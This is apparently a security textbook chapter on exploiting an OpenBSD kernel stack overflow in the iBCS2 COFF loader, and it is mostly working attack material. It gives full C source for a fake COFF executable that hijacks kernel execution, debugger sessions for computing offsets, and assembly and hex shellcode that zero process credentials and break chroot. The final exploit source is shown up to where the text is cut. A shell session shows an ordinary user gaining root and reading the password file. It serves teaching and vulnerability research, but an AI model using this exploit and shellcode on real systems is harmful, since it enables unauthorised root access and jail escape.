CHAPTER 26

Exploiting Unix Kernel Vulnerabilities

We discussed two major kernel vulnerabilities in great detail in Chapter 25; in this chapter, we move on to the exploitation of these vulnerabilities. A primary concern with exploiting vulnerabilities, especially kernel vulnerabilities, is *reachability*. Let's examine some creative methods of doing so with the OpenBSD vulnerability described in Chapter 25.

The exec_ibcs2_coff_prep_zmagic() Vulnerability

In order to reach the vulnerability in `exec_ibcs2_coff_prep_zmagic()`, we need to construct the smallest possible fake `COFF` binary. This section discusses how to create this fake executable.

Several `COFF`-related structures will be introduced, filled in with appropriate values, and saved into the fake `COFF` file. In order to reach the vulnerable code, we must have certain headers, such as the file header, `aout` header, and the section headers appended from the beginning of the executable. If we do not have any of these sections, the prior `COFF` executable handler functions will return an error and we will never reach the vulnerable function, `vn_rdwr()`.

Pseudo code for the minimal layout for the fake COFF executable is as follows:

```
---------------
File Header
---------------
Aout Header
---------------
Section Header (.text)
---------------
Section Header (.data)
---------------
Section Header (.shlib)
---------------
```

The following exploit code will create the fake COFF executable that will be sufficient enough to change the execution of code by overwriting the saved return address. Various details about the exploit are introduced later in this chapter; for now, we should concentrate only on the COFF executable creation.

```
------------------------------ obsd_ex1.c ---------------------------------



/** creates a fake COFF executable with large .shlib section size **/

#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/sysctl.h>
#include <sys/signal.h>

unsigned char shellcode[] =
"\xcc\xcc"; /* only int3 (debug interrupt) at the moment */

#define ZERO(p) memset(&p, 0x00, sizeof(p))

/*
 * COFF file header
 */

struct coff_filehdr {
    u_short     f_magic;        /* magic number */
    u_short     f_nscns;        /* # of sections */
    long        f_timdat;       /* timestamp */
    long        f_symptr;       /* file offset of symbol table */
    long        f_nsyms;        /* # of symbol table entries */
    u_short     f_opthdr;       /* size of optional header */
    u_short     f_flags;        /* flags */
};
```

```
/* f_magic flags */
#define COFF_MAGIC_I386 0x14c

/* f_flags */
#define COFF_F_RELFLG   0x1
#define COFF_F_EXEC     0x2
#define COFF_F_LNNO     0x4
#define COFF_F_LSYMS    0x8
#define COFF_F_SWABD    0x40
#define COFF_F_AR16WR   0x80
#define COFF_F_AR32WR   0x100

/*
 * COFF system header
 */

struct coff_aouthdr {
    short       a_magic;
    short       a_vstamp;
    long        a_tsize;
    long        a_dsize;
    long        a_bsize;
    long        a_entry;
    long        a_tstart;
    long        a_dstart;
};

/* magic */
#define COFF_ZMAGIC     0413

/*
 * COFF section header
 */

struct coff_scnhdr {
    char        s_name[8];
    long        s_paddr;
    long        s_vaddr;
    long        s_size;
    long        s_scnptr;
    long        s_relptr;
    long        s_lnnoptr;
    u_short     s_nreloc;
    u_short     s_nlnno;
    long        s_flags;
};

/* s_flags */
#define COFF_STYP_TEXT          0x20
#define COFF_STYP_DATA          0x40
#define COFF_STYP_SHLIB         0x800
```

```
int
main(int argc, char **argv)
{
  u_int i, fd, debug = 0;
  u_char *ptr, *shptr;
  u_long *lptr, offset;
  char *args[] = { "./ibcs2own", NULL};
  char *envs[] = { "RIP=theo", NULL};
  //COFF structures
  struct coff_filehdr fhdr;
  struct coff_aouthdr ahdr;
  struct coff_scnhdr  scn0, scn1, scn2;

   if(argv[1]) {
      if(!strncmp(argv[1], "-v", 2))
              debug = 1;
      else {
              printf("-v: verbose flag only\n");
              exit(0);
            }
    }

    ZERO(fhdr);
    fhdr.f_magic = COFF_MAGIC_I386;
    fhdr.f_nscns = 3; //TEXT, DATA, SHLIB
    fhdr.f_timdat = 0xdeadbeef;
    fhdr.f_symptr = 0x4000;
    fhdr.f_nsyms = 1;
    fhdr.f_opthdr = sizeof(ahdr); //AOUT header size
    fhdr.f_flags = COFF_F_EXEC;

    ZERO(ahdr);
    ahdr.a_magic = COFF_ZMAGIC;
    ahdr.a_tsize = 0;
    ahdr.a_dsize = 0;
    ahdr.a_bsize = 0;
    ahdr.a_entry = 0x10000;
    ahdr.a_tstart = 0;
    ahdr.a_dstart = 0;

    ZERO(scn0);
    memcpy(&scn0.s_name, ".text", 5);
    scn0.s_paddr = 0x10000;
    scn0.s_vaddr = 0x10000;
    scn0.s_size = 4096;
    //file offset of .text segment
    scn0.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3);
    scn0.s_relptr = 0;
    scn0.s_lnnoptr = 0;
    scn0.s_nreloc = 0;
```

```
scn0.s_nlnno = 0;
scn0.s_flags = COFF_STYP_TEXT;

ZERO(scn1);
memcpy(&scn1.s_name, ".data", 5);
scn1.s_paddr = 0x10000 - 4096;
scn1.s_vaddr = 0x10000 - 4096;
scn1.s_size = 4096;
//file offset of .data segment
scn1.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 4096;
scn1.s_relptr = 0;
scn1.s_lnnoptr = 0;
scn1.s_nreloc = 0;
scn1.s_nlnno = 0;
scn1.s_flags = COFF_STYP_DATA;

ZERO(scn2);
memcpy(&scn2.s_name, ".shlib", 6);
scn2.s_paddr = 0;
scn2.s_vaddr = 0;

//overflow vector!!!
scn2.s_size = 0xb0; /* offset from start of buffer to saved eip */

//file offset of .shlib segment
scn2.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + (2*4096);
scn2.s_relptr = 0;
scn2.s_lnnoptr = 0;
scn2.s_nreloc = 0;
scn2.s_nlnno = 0;
scn2.s_flags = COFF_STYP_SHLIB;

ptr = (char *) malloc(sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + \
             3*4096);
memset(ptr, 0xcc, sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 3*4096);


memcpy(ptr, (char *) &fhdr, sizeof(fhdr));
offset = sizeof(fhdr);

memcpy((char *) (ptr+offset), (char *) &ahdr, sizeof(ahdr));
offset += sizeof(ahdr);

memcpy((char *) (ptr+offset), (char *) &scn0, sizeof(scn0));
offset += sizeof(scn0);

memcpy((char *) (ptr+offset), (char *) &scn1, sizeof(scn1));
offset += sizeof(scn1);

memcpy((char *) (ptr+offset), (char *) &scn2, sizeof(scn2));
```

```
    lptr = (u_long *) ((char *)ptr + sizeof(fhdr) + sizeof(ahdr) + \
           (sizeof(scn0)*3) + (2*4096) + 0xb0 - 8);

    shptr = (char *) malloc(4096);
    if(debug)
      printf("payload adr: 0x%.8x\n", shptr);
    memset(shptr, 0xcc, 4096);

    *lptr++ = 0xdeadbeef;
    *lptr = (u_long) shptr;

    memcpy(shptr, shellcode, sizeof(shellcode)-1);

    unlink("./ibcs2own"); /* remove the leftovers from prior executions */

    if((fd = open("./ibcs2own", O_CREAT^O_RDWR, 0755)) < 0) {
                perror("open");
                exit(-1);
        }

    write(fd, ptr, sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0) * 3) + (4096*3));
    close(fd);
    free(ptr);

    execve(args[0], args, envs);
    perror("execve");

}
```

Let's compile this code:

```
bash-2.05b# uname -a
OpenBSD the0.wideopenbsd.net 3.3 GENERIC#44 i386
bash-2.05b# gcc -o obsd_ex1 obsd_ex1.c
```

Calculating Offsets and Breakpoints

Before running any kernel exploit, you should always set up the kernel debugger. In this way, you will be able to perform various calculations in order to gain execution control. We will use ddb, the kernel debugger, in this exploit. Type the following commands to make sure ddb is set up properly. Keep in mind that you should have some sort of console access in order to debug the OpenBSD kernel.

```
bash-2.05b# sysctl -w ddb.panic=1
ddb.panic: 1 -> 1
bash-2.05b# sysctl -w ddb.console=1
ddb.console: 1 -> 1
```

The first `sysctl` command configures ddb to start up when it detects a kernel panic, and the second will make ddb accessible from the console at any time with the ESC+CTRL+ALT key combination.

```
bash-2.05b# objdump -d --start-address=0xd048ac78 --stop-
address=0xd048c000\
> /bsd | more

/bsd:     file format a.out-i386-netbsd

Disassembly of section .text:

d048ac78 <_exec_ibcs2_coff_prep_zmagic>:
d048ac78:       55                      push   %ebp
d048ac79:       89 e5                   mov    %esp,%ebp
d048ac7b:       81 ec bc 00 00 00       sub    $0xbc,%esp
d048ac81:       57                      push   %edi

[deleted]

d048af5d:       c9                      leave
d048af5e:       c3                      ret
^C
bash-2.05b# objdump -d --start-address=0xd048ac78 --stop-
address=0xd048af5e\
> /bsd | grep vn_rdwr
d048aef3:       e8 70 1b d7 ff          call   d01fca68 <_vn_rdwr>
```

In this example, `0xd048aef3` is the address of the offending `vn_rdwr` function. In order to calculate the distance between the saved return address and the stack buffer, we will need to set a breakpoint on the entry point (the prolog) of the `exec_ibcs2_coff_prep_zmagic()` function and another one at the offending `vn_rdwr()` function. This will calculate the proper distance between the `base` argument and the saved return address (also the saved base pointer).

```
CTRL+ALT+ESC
bash-2.05b# Stopped at          _Debugger+0x4: leave
ddb> x/i 0xd048ac78
_exec_ibcs2_coff_prep_zmagic:     pushl     %ebp
ddb> x/i 0xd048aef3
_exec_ibcs2_coff_prep_zmagic+0x27b:     call     _vn_rdwr
ddb> break 0xd048ac78
ddb> break 0xd048aef3
ddb> cont
^M

bash-2.05b# ./obsd_ex1
Breakpoint at   _exec_ibcs2_coff_prep_zmagic:   pushl   %ebp
ddb> x/x $esp,1
```

```
0xd4739c5c:     d048a6c9     !!saved return address at: 0xd4739c5c
ddb> x/i 0xd048a6c9
_exec_ibcs2_coff_makecmds+0x61:     movl     %eax,%ebx
ddb> x/i 0xd048a6c9 - 5
_exec_ibcs2_coff_makecmds+0x5c: call
     _exec_ibcs2_coff_prep_zmagic
ddb> cont
Breakpoint at   _exec_ibcs2_coff_prep_zmagic+0x27b:     call
_vn_rdwr
ddb> x/x $esp,3
0xd4739b60:     0     d46c266c     d4739bb0
                         (base argument to vn_rdwr)
ddb> x/x $esp
0xd4739b60:     0
ddb> ^M
0xd4739b64:     d46c266c
ddb> ^M
0xd4739b68:     d4739bb0
             |-->  addr of 'char buf[128]'
ddb> x/x $ebp
0xd4739c58:     d4739c88  --> saved %ebp
ddb> ^M
0xd4739c5c:     d048a6c9  --> saved %eip
|-> addr on stack where the saved instruction pointer is stored
```

In the x86 calling convention (assuming the frame pointer is not omitted, that is, `-fomit-frame-pointer`), the base pointer always points to a stack location where the saved (caller's) frame pointer and instruction pointer is stored. In order to calculate the distance between the stack buffer and the saved `%eip`, the following operation is performed:

```
ddb> print 0xd4739c5c - 0xd4739bb0
      ac
ddb> boot sync
```

NOTE The `boot sync` command will reboot the system.

The distance between the address of saved return address and the stack buffer is 172 (`0xac`) bytes. Setting the section data size to 176 (`0xb0`) in the `.shlib` section header will give us control over the saved return address.

Overwriting the Return Address and Redirecting Execution

After calculating the location of the return address relative to the overflowed buffer, the following lines of code in the `obsd_ex1.c` should now make better sense:

```
[1] lptr = (u_long *) ((char *)ptr + sizeof(fhdr) + sizeof(ahdr) + \
          (sizeof(scn0)*3) + (2*4096) + 0xb0 - 8);
```

```
[2] shptr = (char *) malloc(4096);
    if(debug)
      printf("payload adr: 0x%.8x\t", shptr);
    memset(shptr, 0xcc, 4096);

    *lptr++ = 0xdeadbeef;
[3] *lptr = (u_long) shptr;
```

Basically, in `[1]`, we are advancing the `lptr` pointer to the location in the section data that will overwrite the saved base pointer as well as the saved return address. After this operation, a heap buffer will be allocated `[2]`, which will be used to store the kernel payload (this is explained later). Now, the 4 bytes in the section data, which will be used to overwrite the return address, are updated with the address of this newly allocated user-land heap buffer `[3]`. Execution will be hooked and redirected to the user-land heap buffer, which is filled with only `int3` debug interrupts. This will cause ddb to kick in.

```
bash-2.05b# ./obsd_ex1 -v
payload adr: 0x00005000
Stopped at     0x5001:     int     $3
ddb> x/i $eip,3
0x5001:     int     $3
0x5002:     int     $3
0x5003:     int     $3
```

This lovely output from the kernel debugger shows that we have gained full execution control with kernel privileges (`SEL_KPL`):

```
ddb> show registers
es          0x10
ds          0x10
..
ebp          0xdeadbeef
..
eip          0x5001 --> user-land address
cs          0x8
```

Locating the Process Descriptor (or the Proc Structure)

The following operations will enable us to gather process structure information that is needed for credential and chroot manipulation payloads. There are many ways to locate the process structure. The two we look at in this section are the stack lookup method, which is not recommended on OpenBSD, and the `sysctl()` system call.

Stack Lookup

In the OpenBSD kernel, depending on the vulnerable interface, the process structure pointer might be in a fixed address relative to the stack pointer. So, after we gain execution control, we can add the fixed offset (delta between stack pointer and the location of the proc structure pointer) to the stack pointer and retrieve the pointer to the proc structure. On the other hand, with Linux, the kernel always maps the process structure to the beginning of the per-process kernel stack. This feature of Linux makes locating the process structure trivial.

sysctl() Syscall

The `sysctl` is a system call to get and set kernel-level information from user land. It has a simple interface to pass data from kernel to user land and back. The `sysctl` interface is structured into several sub-components including the kernel, hardware, virtual memory, net, filesystem, and architecture system control interfaces. We should concentrate on the kernel `sysctls`, which are handled by the `kern_sysctl()` function.

NOTE **See** `sys/kern/kern_sysctl.c:` **line 234.**

The `kern_sysctl()` function also assigns different handlers to certain queries, such as proc structure, clock rate, v-node, and file information. The process structure is handled by the `sysctl_doproc()` function; this is the interface to the kernel-land information that we are after.

```
int
sysctl_doproc(name, namelen, where, sizep)
        int *name;
        u_int namelen;
        char *where;
        size_t *sizep;
{

...

[1] for (; p != 0; p = LIST_NEXT(p, p_list)) {

...
[2]        switch (name[0]) {

                case KERN_PROC_PID:
                        /* could do this with just a lookup */
[3]                     if (p->p_pid != (pid_t)name[1])
                                continue;
```

```
                        break;

                ...

        }
                ....

                if (buflen >= sizeof(struct kinfo_proc)) {
[4]                     fill_eproc(p, &eproc);
[5]                     error = copyout((caddr_t)p, &dp->kp_proc,
                                        sizeof(struct proc));
....

void
fill_eproc(p, ep)
        register struct proc *p;
        register struct eproc *ep;
{
        register struct tty *tp;

[6]        ep->e_paddr = p;
```

Also, for `sysctl_doproc()`, there can be different types of queries handled by the `switch` statement `[2]`. `KERN_PROC_PID` is sufficient enough to gather the needed address about any process's proc structure. For the `select()` overflow, it was sufficient enough to gather the parent process's proc address. The `setitimer()` vulnerability makes use of the `sysctl()` interface in many different ways (which is discussed later).

The `sysctl_doproc()` code iterates through the linked list of proc structures `[1]` in order to find the queried `pid` `[3]`. If found, certain structures (`eproc` and `kp_proc`) get filled in `[4]` and `[5]` and subsequently `copyout` to user land. The `fill_eproc()` (called from `[4]`) does the trick and copies the proc address of the queried `pid` into the `e_paddr` member of the `eproc` structure `[6]`. In turn, the proc address is eventually copied out to user land in the `kinfo_proc` structure (which is the main data structure for the `sysctl_doproc()` function). For further information on members of these structures see `sys/sys/sysctl.h`.

The following is the function we'll use to retrieve the `kinfo_proc` structure:

```
void
get_proc(pid_t pid, struct kinfo_proc *kp)
{
   u_int arr[4], len;

        arr[0] = CTL_KERN;
        arr[1] = KERN_PROC;
        arr[2] = KERN_PROC_PID;
        arr[3] = pid;
        len = sizeof(struct kinfo_proc);
```

```
        if(sysctl(arr, 4, kp, &len, NULL, 0) < 0) {
                perror("sysctl");
                exit(-1);
        }

}
```

CTL_KERN will be dispatched to kern_sysctl() by sys_sysctl(). KERN_PROC will be dispatched to sysctl_doproc() by kern_sysctl(). The aforementioned switch statement will handle KERN_PROC_PID, eventually returning the kinfo_proc structure.

Kernel Mode Payload Creation

In this section, we go into the development of various tiny payloads that will eventually modify certain fields of its parent process's proc structure, in order to achieve elevated privileges and break out of chrooted jail environments. Then, we'll chain the developed assembly code with the code that will work our way back to user land, thus giving us new privileges with no restrictions.

p_cred and u_cred

We'll start with the privilege elevation section of the payload. What follows is the assembly code that alters ucred (credentials of the user) and pcred (credentials of the process) of any given proc structure. The exploit code fills in the proc structure address of its parent process by using the sysctl() system call (discussed in the previous section), replacing .long 0x12345678. The initial call and pop instructions will load the address of the given proc structure address into %edi. You can use a well-known address-gathering technique used in almost every shellcode, as described in *Phrack* (www.phrack.org/archives/49/P49-14).

```
call moo
.long 0x12345678   <-- pproc addr
.long 0xdeadcafe
.long 0xbeefdead
nop
nop
nop
moo:
pop  %edi
mov  (%edi),%ecx      # parent's proc addr in ecx

                      # update p_ruid
mov  0x10(%ecx),%ebx  # ebx = p->p_cred
xor  %eax,%eax        # eax = 0
mov  %eax,0x4(%ebx)   # p->p_cred->p_ruid = 0
```

```
                          # update cr_uid
  mov   (%ebx),%edx       # edx = p->p_cred->pc_ucred
  mov   %eax,0x4(%edx)    # p->p_cred->pc_ucred->cr_uid = 0
```

Breaking chroot

Next, a tiny assembly code fragment will be used as the chroot breaker for our ring `0` payload. Without going into complex details, let's briefly look at how chroot is checked on a per-process basis. chroot jails are implemented by filling in the `fd_rdir` member of the `filedesc` (open files structure) with the desired jail directories' `vnode` pointer. When the kernel serves any given process for certain requests, it checks whether this pointer is filled in with a specific v-node.

If the v-node is found, the specific process is handled differently. The kernel creates the notion of a new root directory for this process, thus jailing it into a predefined directory. For a non-chrooted process, this pointer is zero/unset. Without going into further details about implementation, setting this pointer to `NULL` breaks chroot. `fd_rdir` is referenced through the proc structure as follows:

```
p->p_fd->fd_rdir
```

As with the credentials structure, `filedesc` is also trivial to access and alter with only two instruction additions to our payload:

```
# update p->p_fd->fd_rdir to break chroot()

mov   0x14(%ecx),%edx     # edx = p->p_fd
mov   %eax,0xc(%edx)      # p->p_fd->fd_rdir = 0
```

Returning Back from Kernel Payload

After we alter certain fields of the proc structure, achieve elevated privileges, and escape from the chroot jail, we need to resume the normal operation of the system. Basically, we must return to user mode, which means the process that issued the system call, or return back to kernel code. Returning to user mode via the `iret` instruction is simple and straightforward; unfortunately, it is sometimes not possible, because the kernel might have certain synchronization objects locked, such as with `mutex` locks and `rdwr` locks. In these cases, you will need to return to the address in kernel code that will unlock these synchronization objects, thereby saving you from crashing the kernel. Certain people in the hacking community have misjudged return to kernel code; we urge them to use this method to look into more vulnerable kernel code and try to develop exploits for it. In practice, it becomes clear that returning back to kernel code where synchronization objects are being unlocked is the best solution for resuming the system flow. If we do not have any such condition, we simply use the `iret` technique.

Return to User Mode: iret Technique

The code that follows is the system call handler that is called from the Interrupt Service Routine (ISR). This function calls the high-level (written in C) system call handler `[1]` and, after the actual system call returns, sets up the registers and returns to user mode `[2]`.

```
IDTVEC(syscall)
        pushl   $2              # size of instruction for restart
syscall1:
        pushl   $T_ASTFLT       # trap # for doing ASTs
        INTRENTRY
        movl    _C_LABEL(cpl),%ebx
        movl    TF_EAX(%esp),%esi       # syscall no
[1]     call    _C_LABEL(syscall)
2:      /* Check for ASTs on exit to user mode. */
        cli
        cmpb    $0,_C_LABEL(astpending)
        je      1f
        /* Always returning to user mode here. */
        movb    $0,_C_LABEL(astpending)
        sti
        /* Pushed T_ASTFLT into tf_trapno on entry. */
        call    _C_LABEL(trap)
        jmp     2b
1:      cmpl    _C_LABEL(cpl),%ebx
        jne     3f
[2]     INTRFASTEXIT

#define INTRFASTEXIT \
        popl    %es             ; \
        popl    %ds             ; \
        popl    %edi            ; \
        popl    %esi            ; \
        popl    %ebp            ; \
        popl    %ebx            ; \
        popl    %edx            ; \
        popl    %ecx            ; \
        popl    %eax            ; \
        addl    $8,%esp         ; \
        iret
```

We will implement the following routine based on the previous initial and post system call handler, emulating a return from interrupt operation.

```
cli


# set up various selectors for user-land
# es = ds = 0x1f
pushl $0x1f
popl  %es
pushl $0x1f
popl  %ds

# esi = esi = 0x00
pushl $0x00
popl  %edi
pushl $0x00
popl  %esi

# ebp = 0xdfbfd000
pushl $0xdfbfd000
popl  %ebp

# ebx = edx = ecx = eax = 0x00
pushl $0x00
popl  %ebx
pushl $0x00
popl  %edx
pushl $0x00
popl  %ecx
pushl $0x00
popl  %eax

pushl $0x1f             # ss = 0x1f
pushl $0xdfbfd000       # esp  = 0xdfbfd000
pushl $0x287            # eflags
pushl $0x17             # cs user-land code segment selector

# set set user mode instruction pointer in exploit code
pushl $0x00000000       # empty slot for ring3 %eip
iret
```

Return to Kernel Code: sidt Technique and _kernel_text Search

This technique of returning to user mode depends on the interrupt descriptor table register (IDTR). It contains the starting address of the interrupt descriptor table (IDT).

Without going into unnecessary details, the IDT is the table that holds the interrupt handlers for various interrupt vectors. A number represents each interrupt in x86 from 0 to 255; these numbers are called the *interrupt vectors.* These vectors are used to locate the initial handler for any given interrupt inside the IDT. The IDT contains 256 entries of 8 bytes each. There can be three different types of IDT descriptor entries, but we will concentrate only on the *system gate* descriptor. The trap gate descriptor is used to set up the initial system call handler discussed in the previous section.

NOTE OpenBSD uses the same gate_descriptor structure for trap and system descriptors. Also, system gates are referred to as trap gates in the code.

```
sys/arch/i386/machdep.c line 2265

setgate(&idt[128], &IDTVEC(syscall), 0, SDT_SYS386TGT, SEL_UPL,
GCODE_SEL);

sys/arch/i386/include/segment.h line 99

struct gate_descriptor {
        unsigned gd_looffset:16;        /* gate offset (lsb) */
        unsigned gd_selector:16;        /* gate segment selector */
        unsigned gd_stkcpy:5;           /* number of stack wds to cpy */
        unsigned gd_xx:3;               /* unused */
        unsigned gd_type:5;             /* segment type */
        unsigned gd_dpl:2;              /* segment descriptor priority
level */
        unsigned gd_p:1;                /* segment descriptor present */
        unsigned gd_hioffset:16;        /* gate offset (msb) */
}

[delete]

line 240
#define SDT_SYS386TGT   15      /* system 386 trap gate */
```

The `gate_descriptor`'s members, `gd_looffset` and `gd_hioffset`, will create the low-level interrupt handler's address. For more information on these various fields, you should consult the architecture manuals at `www.intel.com/design/Pentium4/documentation.htm`.

The system call interface to request kernel services is implemented through the software-initiated interrupt `0x80`. Armed with this information, start at the address of the low-level syscall interrupt handler and walk through the kernel text. You can now find your way to the high-level syscall handler and finally return to it.

The IDT in OpenBSD is named `_idt_region`, and slot `0x80` is the system gate descriptor for the system call interrupt. Because every member of the IDT is 8 bytes, the system call system `gate_descriptor` is at address `_idt_region + 0x80 * 0x8`, which is `_idt_region + 0x400`.

```
bash-2.05b# Stopped at          _Debugger+0x4: leave
ddb> x/x _idt_region+0x400
_idt_region+0x400:      80e4c
ddb> ^M
_idt_region+0x404:      e010ef00
```

To deduce the initial syscall handler we need to do the proper `shift` and `or` operations on the system gate descriptor's bit fields. This will lead us to the `0xe0100e4c` kernel address.

```
bash-2.05b# Stopped at          _Debugger+0x4: leave
ddb> x/x 0xe0100e4c
_Xosyscall_end: pushl   $0x2
ddb> ^M
_Xosyscall_end+0x2:     pushl   $0x3
...
...
_Xosyscall_end+0x20:    call    _syscall
...
```

As with the exception or software-initiated interrupt, the corresponding vector is found in the IDT. The execution is redirected to the handler gathered from one of the gate descriptors. This handler is known as an *intermediate handler*, which will eventually take us to a real handler. As seen in the kernel debugger output, the initial handler `_Xosyscall_end` saves all registers (also some other low-level operations) and immediately calls the real handler, `_syscall()`.

We have mentioned that the `idtr` register always contains the address of `the_idt_region`. We now need a method of accessing its contents.

```
sidt 0x4(%edi)
mov  0x6(%edi),%ebx
```

The address of the `_idt_region` is moved to `ebx`; now IDT can be referenced via `ebx`. The assembly code to gather the syscall handler from the initial handler is as follows:

```
sidt 0x4(%edi)
mov  0x6(%edi),%ebx     # mov _idt_region is in ebx
mov  0x400(%ebx),%edx   # _idt_region[0x80 * (2*sizeof long) = 0x400]
mov  0x404(%ebx),%ecx   # _idt_region[0x404]
shr  $0x10,%ecx         #
```

```
sal  $0x10,%ecx         # ecx = gd_hioffset
sal  $0x10,%edx         #
shr  $0x10,%edx         # edx = gd_looffset
or   %ecx,%edx          # edx = ecx | edx  =  _Xosyscall_end
```

At this stage, we have successfully found the initial/intermediate handler's location. The next logical step is to search through the kernel text, find `call_syscall`, and gather the displacement of the call instructions and add it to the address of the instruction's location. Additionally, the value of 5 bytes should be added to the displacement to compensate for the size of the call instruction itself.

```
xor  %ecx,%ecx          # zero out the counter
up:
inc  %ecx
movb (%edx,%ecx),%bl    # bl =  _Xosyscall_end++
cmpb $0xe8,%bl          # if bl == 0xe8 : 'call'
jne  up

lea  (%edx,%ecx),%ebx   # _Xosyscall_end+%ecx: call _syscall
inc  %ecx
mov  (%edx,%ecx),%ecx   # take the displacement of the call ins.
add  $0x5,%ecx          # add 5 to displacement
add  %ebx,%ecx          # ecx = _Xosyscall_end+0x20 + disp = _syscall()
```

Now, `%ecx` holds the address of the real handler, `_syscall()`. The next step is to find out where to return inside the `syscall()` function; this will eventually lead to broader research on various versions of OpenBSD with different kernel compilation options. Luckily, it turns out that we can safely search for the `call  *%eax` instruction inside the `_syscall()`. This proves to be the instruction that dispatches every system call to its final handler in every OpenBSD version tested.

For OpenBSD 2.6 through 3.3, kernel code has always dispatched the system calls with the `call  *%eax` instruction, which is unique in the scope of the `_syscall()` function.

```
bash-2.05b# Stopped at          _Debugger+0x4: leave
ddb> x/i _syscall+0x240
_syscall+0x240: call    *%eax
ddb>cont
```

Our goal is now to figure out the offset (`0x240` in this case) for any given OS revision. We want to return to the instruction just after the `call  *%eax` from our payload and resume kernel execution. The search code is as follows:

```
#search for opcode: ffd0 ie: call *%eax
mov    %ecx,%edi
```

```
mule:
mov    $0xff,%al
cld
mov    $0xffffffff,%ecx
repnz scas %es:(%edi),%al
# ok, start with searching 0xff

mov    (%edi),%bl
cmp    $0xd0,%bl   # check if 0xff is followed by 0xd0
jne    mule          # if not start over
inc    %edi        # good found!
xor    %eax,%eax   #set up return value
push   %edi        #push address on stack
ret                #jump to found address
```

Finally, this payload is all we need for a clean return. It can be used for any system call based overflow without requiring any further modification.

```
- %ebp fixup
```

If we used the `sidt` technique to resume execution, we also need to fix the smashed saved frame pointer in order to prevent a crash while inside the `syscall` function. You can calculate a meaningful base pointer by setting a breakpoint on the vulnerable function's prolog as well as another breakpoint before the `leave` instruction in the epilog. Now, calculate the difference between the `%ebp` recorded at the prolog and the `%esp` recorded just before the returning to the caller. The following instruction will set the `%ebp` for this specific vulnerability back to a sane value:

```
lea  0x68(%esp),%ebp # fixup ebp
```

Getting root (uid=0)

Finally, we link all the previous sections and reach the final exploit code that will elevate privileges to `root` and break any possible chroot jail.

```
-bash-2.05b$ uname -a
OpenBSD the0.wideopenbsd.net 3.3 GENERIC#44 i386
-bash-2.05b$ gcc -o the0therat coff_ex.c
-bash-2.05b$ id
uid=1000(noir) gid=1000(noir) groups=1000(noir)
-bash-2.05b$ ./the0therat

DO NOT FORGET TO SHRED ./ibcs2own
Abort trap
-bash-2.05b$ id
uid=0(root) gid=1000(noir) groups=1000(noir)
```

```
-bash-2.05b$ bash
bash-2.05b# cp /dev/zero ./ibcs2own

/home: write failed, file system is full
cp: ./ibcs2own: No space left on device
bash-2.05b# rm -f ./ibcs2own
bash-2.05b# head -2 /etc/master.passwd
root:$2a$08$ [cut] :0:0:daemon:0:0:Charlie &:/root:/bin/csh
daemon:*:1:1::0:0:The devil himself:/root:/sbin/nologin
...

----------------------------- coff_ex.c --------------------------------
---- --

/** OpenBSD 2.x - 3.3                                            **/
/** exec_ibcs2_coff_prep_zmagic() kernel stack overflow          **/
/** note: ibcs2 binary compatibility with SCO and ISC is enabled **/
/** in the default install                                       **/

/**     Copyright Feb 26 2003 Sinan "noir" Eren                  **/
/**     noir@olympos.org | noir@uberhax0r.net                    **/

#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/sysctl.h>
#include <sys/signal.h>

/* kernel_sc.s shellcode */

unsigned char shellcode[] =
"\xe8\x0f\x00\x00\x00\x78\x56\x34\x12\xfe\xca\xad\xde\xad\xde\xef\xbe"
"\x90\x90\x90\x5f\x8b\x0f\x8b\x59\x10\x31\xc0\x89\x43\x04\x8b\x13\x89"
"\x42\x04\x8b\x51\x14\x89\x42\x0c\x8d\x6c\x24\x68\x0f\x01\x4f\x04\x8b"
"\x5f\x06\x8b\x93\x00\x04\x00\x00\x8b\x8b\x04\x04\x00\x00\xc1\xe9\x10"
"\xc1\xe1\x10\xc1\xe2\x10\xc1\xea\x10\x09\xca\x31\xc9\x41\x8a\x1c\x0a"
"\x80\xfb\xe8\x75\xf7\x8d\x1c\x0a\x41\x8b\x0c\x0a\x83\xc1\x05\x01\xd9"
"\x89\xcf\xb0\xff\xfc\xb9\xff\xff\xff\xff\xf2\xae\x8a\x1f\x80\xfb\xd0"
"\x75\xef\x47\x31\xc0\x57\xc3";

/* iret_sc.s */

unsigned char iret_shellcode[] =
"\xe8\x0f\x00\x00\x00\x78\x56\x34\x12\xfe\xca\xad\xde\xad\xde\xef\xbe"
"\x90\x90\x90\x5f\x8b\x0f\x8b\x59\x10\x31\xc0\x89\x43\x04\x8b\x13\x89"
"\x42\x04\x8b\x51\x14\x89\x42\x0c\xfa\x6a\x1f\x07\x6a\x1f\x1f\x6a\x00"
"\x5f\x6a\x00\x5e\x68\x00\xd0\xbf\xdf\x5d\x6a\x00\x5b\x6a\x00\x5a\x6a"
"\x00\x59\x6a\x00\x58\x6a\x1f\x68\x00\xd0\xbf\xdf\x68\x87\x02\x00\x00"
```

```
"\x6a\x17";

unsigned char pusheip[] =
"\x68\x00\x00\x00\x00"; /* fill eip */

unsigned char iret[] =
"\xcf";

unsigned char exitsh[] =
"\x31\xc0\xcd\x80\xcc"; /* xorl %eax,%eax, int $0x80, int3 */


#define ZERO(p) memset(&p, 0x00, sizeof(p))

/*
 * COFF file header
 */

struct coff_filehdr {
    u_short     f_magic;        /* magic number */
    u_short     f_nscns;        /* # of sections */
    long        f_timdat;       /* timestamp */
    long        f_symptr;       /* file offset of symbol table */
    long        f_nsyms;        /* # of symbol table entries */
    u_short     f_opthdr;       /* size of optional header */
    u_short     f_flags;        /* flags */
};

/* f_magic flags */
#define COFF_MAGIC_I386 0x14c

/* f_flags */
#define COFF_F_RELFLG   0x1
#define COFF_F_EXEC     0x2
#define COFF_F_LNNO     0x4
#define COFF_F_LSYMS    0x8
#define COFF_F_SWABD    0x40
#define COFF_F_AR16WR   0x80
#define COFF_F_AR32WR   0x100

/*
 * COFF system header
 */

struct coff_aouthdr {
    short       a_magic;
    short       a_vstamp;
    long        a_tsize;
    long        a_dsize;
    long        a_bsize;
```

```
    long        a_entry;
    long        a_tstart;
